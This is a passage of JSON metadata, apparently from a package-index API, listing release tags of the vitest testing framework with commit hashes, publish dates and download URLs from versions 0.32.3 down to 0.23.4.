","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.32.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.3/manifests"},{"name":"v0.32.2","sha":"1e8760ab2b4ae02288ebaf0ab27f9ed314d41980","kind":"tag","published_at":"2023-06-16T16:05:05.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.32.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.32.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.2/manifests"},{"name":"v0.32.1","sha":"02bed364acf6dc4bcf95c75de4b926d486646930","kind":"tag","published_at":"2023-06-16T12:21:23.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.32.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.32.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.1/manifests"},{"name":"v0.32.0","sha":"8d3cf9db739ddc89ab05cbf00a7cd3fc44ddfc98","kind":"tag","published_at":"2023-06-06T17:03:27.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.32.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.0/manifests"},{"name":"v0.31.4","sha":"ab3e085105fc715ba9236a54f794a95325f71135","kind":"tag","published_at":"2023-06-01T09:54:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.31.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.31.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.4/manifests"},{"name":"v0.31.3","sha":"29a37cd467bd7138aae440d3b06204757b2fc970","kind":"tag","published_at":"2023-05-31T14:48:32.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.31.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.31.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.3/manifests"},{"name":"v0.31.2","sha":"d65f287d74f090a7b168c7bf500761a1a50dd154","kind":"tag","published_at":"2023-05-30T13:04:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.31.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.31.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.2/manifests"},{"name":"v0.31.1","sha":"6433224c0a05d29968eead273d1c57c680034566","kind":"tag","published_at":"2023-05-17T14:22:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.31.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.1/manifests"},{"name":"v0.31.0","sha":"36eea98a434c3202c939a3a54d149bc4853db42c","kind":"tag","published_at":"2023-05-03T18:07:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.31.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.31.0/manifests"},{"name":"v0.30.1","sha":"baf902a20b5fdedc095828c081a32ce2baeb2197","kind":"tag","published_at":"2023-04-11T11:24:22.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.30.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.30.1/manifests"},{"name":"v0.30.0","sha":"0ce8364e0dd1ad877d29eaad1b8b52b76f7b3298","kind":"tag","published_at":"2023-04-09T13:38:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.30.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.30.0/manifests"},{"name":"v0.29.8","sha":"42435d66619301fd2a98124bf1dc32fdac6cf510","kind":"tag","published_at":"2023-03-28T13:11:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.8/manifests"},{"name":"v0.29.7","sha":"9150a268d8cafac71a0954ba4ca45b02e00a7e9a","kind":"tag","published_at":"2023-03-20T20:36:59.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.7/manifests"},{"name":"v0.29.6","sha":"82948110d264d130c6901bbedda8dce4417d43bc","kind":"tag","published_at":"2023-03-20T20:23:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.6/manifests"},{"name":"v0.29.5","sha":"be344518b48e56c29127ff61b728be4281345836","kind":"tag","published_at":"2023-03-20T14:11:39.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.5/manifests"},{"name":"v0.29.4","sha":"4148d80d8394577d90a5134d011dd28620a7aa62","kind":"tag","published_at":"2023-03-20T13:39:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.4/manifests"},{"name":"v0.29.3","sha":"d4d04257c0c47f0acd7e508fbac74d0a57330a58","kind":"tag","published_at":"2023-03-15T20:03:01.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.3/manifests"},{"name":"v0.29.2","sha":"bce5a9f8a8572805317ec336bb4289d18606679c","kind":"tag","published_at":"2023-02-28T15:13:21.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.2/manifests"},{"name":"v0.29.1","sha":"20c99934ee66fd4aac33edae707d7add76f08576","kind":"tag","published_at":"2023-02-25T09:24:13.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.1/manifests"},{"name":"v0.29.0","sha":"965f32a55eb1d5d594eebfda76e413f4fbd2c4ca","kind":"tag","published_at":"2023-02-25T08:25:04.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.29.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.29.0/manifests"},{"name":"v0.28.5","sha":"4ae6a79179d092fed0e6830ed77086228ddab985","kind":"tag","published_at":"2023-02-13T12:22:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.5/manifests"},{"name":"v0.33.0-2023-07-30","sha":"445c7b3569c6325af01eaa91ccbf27dbc50675a3","kind":"commit","published_at":"2023-02-08T10:48:36.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.33.0-2023-07-30","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.33.0-2023-07-30","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.33.0-2023-07-30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.33.0-2023-07-30/manifests"},{"name":"v0.28.4","sha":"5eeb6f38637e4176591b0d73cc691553c9cd8078","kind":"tag","published_at":"2023-02-03T10:04:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.4/manifests"},{"name":"v0.28.3","sha":"31da992c7201d510a39df00cfe6be2a361ee19c0","kind":"tag","published_at":"2023-01-27T12:09:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.3/manifests"},{"name":"v0.28.2","sha":"1b54b4cb96808716788e1178b29b12d9e69ad9ac","kind":"tag","published_at":"2023-01-25T11:20:39.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.2/manifests"},{"name":"v0.28.1","sha":"e28b9b91167fa16e189b0f7b085df70aca6bb6a8","kind":"tag","published_at":"2023-01-23T09:50:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.1/manifests"},{"name":"v0.28.0","sha":"6949b55beabae220a9a092bdaf9c1f8851bf778e","kind":"tag","published_at":"2023-01-23T09:27:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.28.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.28.0/manifests"},{"name":"v0.27.3","sha":"44e5e22ab2ba62bc8742f9c2cf20f6151bd60327","kind":"tag","published_at":"2023-01-21T16:22:33.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.27.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.27.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.3/manifests"},{"name":"v0.27.2","sha":"a1b685cb0d03a2894762921d99ac0f8312ce858b","kind":"tag","published_at":"2023-01-17T07:40:08.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.27.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.2/manifests"},{"name":"v0.27.1","sha":"db9e8f1128439fa0fd627b2864ca225d3d9349c7","kind":"tag","published_at":"2023-01-11T16:31:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.27.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.1/manifests"},{"name":"v0.27.0","sha":"2b06cf819fdc7e94a580127f72f84b1852e92a11","kind":"tag","published_at":"2023-01-09T12:32:57.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.27.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.27.0/manifests"},{"name":"v0.26.3","sha":"8d64790a1906999c031e14373c52881abd08fc40","kind":"tag","published_at":"2023-01-01T14:33:23.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.26.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.26.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.3/manifests"},{"name":"v0.26.2","sha":"07ef0f229954fdca9eba411c5cd2941772d29960","kind":"tag","published_at":"2022-12-21T10:58:38.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.26.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.26.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.2/manifests"},{"name":"v0.26.1","sha":"c42b07ba3f23ac378cfa5f833b006f2acbe745f1","kind":"tag","published_at":"2022-12-20T09:59:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.26.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.1/manifests"},{"name":"v0.26.0","sha":"b824e82df297f230806816a569717be9d0301028","kind":"tag","published_at":"2022-12-19T10:42:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.26.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.26.0/manifests"},{"name":"v0.25.8","sha":"d9fb2b7237463494f4400305c5db8017716e24b4","kind":"tag","published_at":"2022-12-13T10:08:47.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.8","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.8/manifests"},{"name":"v0.25.7","sha":"d0086d9d8a6d79934d89ac692933d5da965e46ba","kind":"tag","published_at":"2022-12-10T19:22:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.7/manifests"},{"name":"v0.25.6","sha":"aca82a4f2c5ddbf1fff380f4ecc193f2fd314f45","kind":"tag","published_at":"2022-12-08T10:59:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.6/manifests"},{"name":"v0.25.5","sha":"59051647fb88a87879508bb2d76ef97b4c1ff6b2","kind":"tag","published_at":"2022-12-06T18:33:45.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.5/manifests"},{"name":"v0.25.4","sha":"a430365d73a6381a3e2191c3cde6489a2a9883b0","kind":"tag","published_at":"2022-12-05T18:32:34.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.4/manifests"},{"name":"v0.25.3","sha":"e13a64f1af134a817551e53fbf09af25094058e3","kind":"tag","published_at":"2022-11-22T12:51:33.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.3/manifests"},{"name":"v0.25.2","sha":"3038991347500f1336089698a3517ee5c5a5b4f3","kind":"tag","published_at":"2022-11-14T13:38:47.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.2/manifests"},{"name":"v0.25.1","sha":"e1de945ac9089d205c298492b91f6f204a19d81d","kind":"tag","published_at":"2022-11-08T15:42:16.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.1/manifests"},{"name":"v0.25.0","sha":"94f2e66b99aff928fc4546ce5f5f8afe94d6bc24","kind":"tag","published_at":"2022-11-07T15:58:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.25.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.25.0/manifests"},{"name":"v0.24.5","sha":"fb93a7e419e34559038910ee698818d739e2e6fb","kind":"tag","published_at":"2022-11-01T17:51:42.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.5/manifests"},{"name":"v0.24.4","sha":"55fa65014e867e1b3f5afca1619bd0f067a9a65f","kind":"tag","published_at":"2022-10-31T10:29:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.4/manifests"},{"name":"v0.24.3","sha":"7d9eebb32536c898fb189aa54c26df4865d3506a","kind":"tag","published_at":"2022-10-14T11:45:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.3/manifests"},{"name":"v0.24.2","sha":"ad8c9a009047249017c787f4c39a10a46039ad77","kind":"tag","published_at":"2022-10-14T09:37:25.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"6f856c4036248430bcca5f0e40398c4a4e981ea9","kind":"tag","published_at":"2022-10-10T14:56:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"0bd37882db0e021992f447da9e9a544ddb95c71a","kind":"tag","published_at":"2022-10-07T12:05:00.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.24.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.24.0/manifests"},{"name":"v0.23.4","sha":"b54b05925d93804d7be10a48d93792344b3471db","kind":"tag","published_at":"